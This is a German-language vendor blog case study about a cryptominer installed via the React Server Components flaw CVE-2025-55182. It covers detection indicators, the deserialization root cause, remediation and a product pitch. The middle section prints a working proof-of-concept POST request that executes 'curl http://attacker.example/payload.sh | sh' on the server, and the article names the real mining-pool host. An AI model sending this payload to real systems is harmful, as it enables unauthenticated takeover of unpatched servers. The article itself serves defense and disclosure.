Zum Hauptinhalt springen
Sicherheit 12 Min. Lesezeit

Erkennung eines Cryptominers über React CVE-2025-55182

Eine Fallstudie aus der Praxis: Wie die verdächtige Prozesserkennung von MonitorVPS einen Cryptominer entdeckte, den Angreifer nach Ausnutzung einer kritischen React Server Components-Sicherheitslücke installiert hatten.

Erkennung eines Cryptominers über React CVE-2025-55182

Ein MonitorVPS-Kunde hat kürzlich dank unseres Systems zur Erkennung verdächtiger Prozesse eine Cryptominer-Infektion auf seinem Server entdeckt. Der Angriff ging von CVE-2025-55182 aus, einer kritischen Remote-Code-Execution-Schwachstelle in React Server Components mit einem CVSS-Score von 10.0. Diese Fallstudie untersucht, wie der Angriff ablief und warum kontinuierliche Prozessüberwachung das erkannte, was traditionelle Sicherheitsmaßnahmen übersehen haben.

Die Warnung

Am 6. Januar 2026 erhielt ein MonitorVPS-Kunde eine E-Mail-Warnung und eine Webhook-Benachrichtigung über seinen Produktionsserver "web01", der in San Francisco gehostet wird:

Verdächtiger Prozess auf web01 erkannt

Ein Prozess, der bekannten Malware-Signaturen oder verdächtigen Mustern entspricht, wurde erkannt.

  • Prozess: cCxf
  • PID: 63891
  • Benutzer: root
  • Befehl: /root/GZ5pBwko/cCxf -o www.githubabout.top:80 --tls

Die Warnung markierte vier verschiedene Bedrohungsindikatoren und löste eine sofortige Benachrichtigung aus. Dank der E-Mail- und Webhook-Warnungen konnte der Kunde innerhalb von Minuten reagieren. Ohne diese automatisierten Warnungen hätte die Infektion unentdeckt weiterlaufen können, wobei der bösartige Prozess tage- oder sogar wochenlang aktiv gewesen wäre.

Was MonitorVPS erkannt hat

Die verdächtige Prozesserkennung von MonitorVPS identifizierte vier kritische Indikatoren, die zusammen stark auf bösartige Aktivitäten hindeuteten:

1. Verdächtiges Befehlsmuster

Die Befehlszeilenargumente -o www.githubabout.top:80 --tls entsprechen Mustern, die häufig von Kryptowährungs-Minern verwendet werden. Der -o-Parameter gibt typischerweise eine Mining-Pool-Server-Verbindung an.

2. Verdächtiger Ausführungspfad

Die Binärdatei befand sich unter /root/GZ5pBwko/cCxf im Home-Verzeichnis des Root-Benutzers. Legitime Software wird typischerweise an Standardorten wie /usr/bin, /usr/local/bin oder /opt installiert. Ausführbare Dateien in Benutzerverzeichnissen sind ein häufiger Indikator für nicht autorisierte Software.

3. Hochentropie-Pfadsegment

Der Ordnername GZ5pBwko ist eine zufällige alphanumerische Zeichenkette, die entwickelt wurde, um einfache musterbasierte Erkennung zu umgehen. Angreifer verwenden häufig zufällig generierte Namen, um ihre Malware durch einfache Dateisuchen schwerer auffindbar zu machen.

4. Unbekannter ressourcenintensiver Prozess

Der Prozess verbrauchte erhebliche CPU-Ressourcen, stimmte aber mit keiner bekannten legitimen Software-Signatur überein. Fünf Instanzen desselben Prozesses liefen gleichzeitig und maximierten die Rechenressourcen des Servers für das Mining.

Der Angriffsvektor: CVE-2025-55182

Die Untersuchung ergab, dass die Angreifer über CVE-2025-55182 Zugang erlangten, eine kritische Schwachstelle in React Server Components, die den maximalen CVSS-Score von 10.0 erhielt. Dieser Score ist für Schwachstellen reserviert, die keine Authentifizierung, keine Benutzerinteraktion erfordern und einen direkten Weg zur Remote-Code-Ausführung bieten.

React Server Components verstehen

React Server Components (RSC) reduzieren clientseitiges JavaScript, indem sie datenintensive Logik auf dem Server verarbeiten. Sie kommunizieren über ein Serialisierungsprotokoll namens "React Flight", das komplexe Datenstrukturen zwischen Client und Server überträgt. Wenn ein Client Daten benötigt, die von einer Server-Komponente gerendert werden, sendet er eine Anfrage an einen Server-Endpunkt, die serialisierte "Chunks" von Daten enthält.

Die Ursache: Unsichere Deserialisierung

Die Schwachstelle existiert in Reacts reviveModel-Funktion innerhalb von ReactFlightReplyServer.js. Der kritische Fehler liegt in der Art und Weise, wie der Server eingehende Daten validiert:

for (i in value)
    value.hasOwnProperty(i) && ...

Der Server vertraut der eingehenden Nutzlast zu sehr. Anstatt zu validieren, dass Daten von legitimem clientseitigem Code stammen, versucht er, alles zu deserialisieren, was der Benutzer sendet. Durch den Aufruf von value.hasOwnProperty(i) auf einem nicht vertrauenswürdigen Objekt kann ein Angreifer diese Eigenschaft mit einer bösartigen Referenz überschatten, die Sicherheitsprüfung vollständig umgehen und Zugang zu Prototyp-Ketten-Eigenschaften wie constructor und __proto__ erlangen.

Die vierstufige Exploit-Kette

Die Ausnutzung folgt einer ausgeklügelten vierstufigen Kette, die JavaScripts Duck-Typing und dynamische Code-Ausführung missbraucht:

  1. Selbstreferenz-Schleife erstellen: Mit dem $@-Präfix zum Zugriff auf rohe Chunk-Objekte erstellt der Angreifer zirkuläre Referenzen, die interne React-Objekte offenlegen.
  2. Automatische Ausführung auslösen: JavaScripts await ruft automatisch .then()-Methoden auf Promise-ähnlichen Objekten auf. Indem then auf Reacts interne Chunk-Verarbeitung verweist, kapert der Angreifer diesen Mechanismus.
  3. Bösartige Daten einschleusen: Das Setzen des Status auf resolved_model bringt React dazu, initializeModelChunk() aufzurufen, das die Nutzlast des Angreifers parst.
  4. Code über Blob-Handler ausführen: Das $B-Präfix löst Reacts Blob-Handler aus und ruft .get() auf einem vom Angreifer kontrollierten Objekt auf, das auf den Function-Konstruktor verweist, was beliebige Code-Ausführung ermöglicht.

Proof of Concept

Der Angriff erfordert nicht mehr als eine einzelne HTTP-POST-Anfrage an einen verwundbaren RSC-Endpunkt:

POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----FormBoundaryKj7mVpR4xN2qYz

------FormBoundaryKj7mVpR4xN2qYz
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,
"value":"{\"then\":\"$B0\"}","_response":{"_prefix":
"process.mainModule.require('child_process').execSync(
'curl http://attacker.example/payload.sh | sh');",
"_formData":{"get":"$1:constructor:constructor"}}}
------FormBoundaryKj7mVpR4xN2qYz
Content-Disposition: form-data; name="1"

"$@0"
------FormBoundaryKj7mVpR4xN2qYz--

Dies ist eine Pre-Authentication-Ausnutzung: Sie erfolgt während der Deserialisierung, bevor eine angeforderte Server Action validiert wird. Jeder Next-Action-Header-Wert löst den verwundbaren Code-Pfad aus. Der Angreifer erhält vollen Node.js-Kontext mit Zugriff auf process, child_process, das Dateisystem und alle Umgebungsvariablen einschließlich Datenbank-Anmeldedaten und API-Schlüssel.

Betroffene Versionen

Die Schwachstelle betrifft React-Versionen 19.0, 19.1.0, 19.1.1 und 19.2.0. Viele Frameworks enthalten diese Pakete indirekt, was bedeutet, dass eine große Anzahl von Deployments betroffen sein kann, ohne dass Entwickler wissen, dass sie verwundbare Komponenten verwenden.

Für eine tiefere technische Analyse von In-the-Wild-Ausnutzung und aktiven Malware-Kampagnen, die diese Schwachstelle nutzen, siehe Trend Micros umfassenden Forschungsbericht.

Die Angriffskette

Basierend auf der forensischen Analyse folgte der Angriff dieser Sequenz:

  1. Aufklärung: Angreifer scannten nach Servern mit verwundbaren React Server Components-Endpunkten.
  2. Ausnutzung: Eine bösartige Flight-Nutzlast wurde gesendet, um Remote-Code-Ausführung zu erreichen.
  3. Payload-Auslieferung: Die RCE wurde verwendet, um eine Cryptominer-Binärdatei nach /root/GZ5pBwko/ herunterzuladen.
  4. Mining-Pool: Der Miner wurde konfiguriert, um sich mit www.githubabout.top:80 über TLS-Verschlüsselung zu verbinden.
  5. Ressourcen-Hijacking: Mehrere Instanzen wurden gestartet, um die CPU-Auslastung für Kryptowährungs-Mining zu maximieren.

Empfohlene Reaktion

Wie wir gerne sagen: „Ein kompromittierter Server ist ein stillgelegter Server."

Bei der Entdeckung einer aktiven Kompromittierung wie dieser ist die Priorität Eindämmung und Untersuchung:

  • Den betroffenen Server isolieren, um laterale Bewegung oder Datenexfiltration zu verhindern.
  • Den Umfang untersuchen der Kompromittierung durch Überprüfung von Logs und anderen Systemen.
  • Bei schweren Infektionen von Grund auf neu aufbauen ist oft der sicherste Ansatz, da Angreifer möglicherweise zusätzliche Hintertüren installiert haben.
  • Verwundbare Abhängigkeiten patchen, bevor Systeme wieder online gebracht werden.

Warum Überwachung wichtig ist

Dieser Fall zeigt mehrere kritische Punkte zur Server-Sicherheit:

  • Traditionelle Sicherheitstools können aktive Bedrohungen übersehen. Ohne Prozessüberwachung hätte der Cryptominer wochen- oder monatelang laufen können, bevor jemand die erhöhte CPU-Auslastung bemerkt hätte.
  • Zero-Day-Exploits umgehen Perimeter-Verteidigungen. CVE-2025-55182 war eine Pre-Authentication-Schwachstelle, die keine Anmeldedaten erforderte. Firewalls und Authentifizierungssysteme konnten sie nicht verhindern.
  • Echtzeit-Warnungen ermöglichen schnelle Reaktion. Die E-Mail- und Webhook-Benachrichtigungen bedeuteten, dass der Kunde sofort von der Bedrohung erfuhr, nicht während seines nächsten geplanten Wartungsfensters.
  • Frühe Erkennung minimiert Schäden. Je schneller Sie von einer Kompromittierung erfahren, desto schneller können Sie reagieren. Stunden von Mining sind weit besser als Monate.

Ihre Server schützen

Um sich gegen ähnliche Angriffe zu schützen:

  • Abhängigkeiten aktuell halten. Das React-Team hat schnell Patches nach der Offenlegung von CVE-2025-55182 veröffentlicht. Aktuell zu bleiben ist Ihre erste Verteidigungslinie.
  • Ihren Abhängigkeitsbaum prüfen. Sie könnten verwundbare Pakete indirekt über Ihr Framework oder andere Bibliotheken verwenden.
  • Kontinuierliche Prozessüberwachung verwenden. Tools wie MonitorVPS bieten Einblick in das, was tatsächlich auf Ihren Servern läuft.
  • Warnungen für verdächtige Prozesse konfigurieren. Automatisierte Erkennung fängt Bedrohungen ab, während Sie nicht aktiv überwachen.
  • Verteidigung in der Tiefe implementieren. Keine einzelne Sicherheitsmaßnahme ist ausreichend. Schichten Sie mehrere Schutzmaßnahmen für umfassende Abdeckung.

Fazit

Dieser reale Fall zeigt, wie schnell Angreifer kritische Schwachstellen ausnutzen können und wie Prozessüberwachung als wesentliche Erkennungsschicht dient. Der Server des Kunden wurde durch eine ausgeklügelte Supply-Chain-Schwachstelle in einem weit verbreiteten Framework kompromittiert, aber kontinuierliche Überwachung erkannte die resultierende bösartige Aktivität und alarmierte ihn sofort per E-Mail und Webhook.

Server-Sicherheit geht nicht nur darum, Einbrüche zu verhindern. Es geht auch darum, sie schnell zu erkennen, wenn die Prävention versagt. Mit Schwachstellen wie CVE-2025-55182, die beliebte Frameworks betreffen, ist die Sichtbarkeit dessen, was auf Ihren Servern läuft, keine Option mehr. Es ist eine grundlegende Anforderung für die Aufrechterhaltung einer sicheren Infrastruktur.

Bereit, Ihre Server zu überwachen?

Beginnen Sie kostenlos mit der Überwachung Ihrer VPS-Server. Keine Kreditkarte erforderlich.

Kostenlos starten

Verwandte Artikel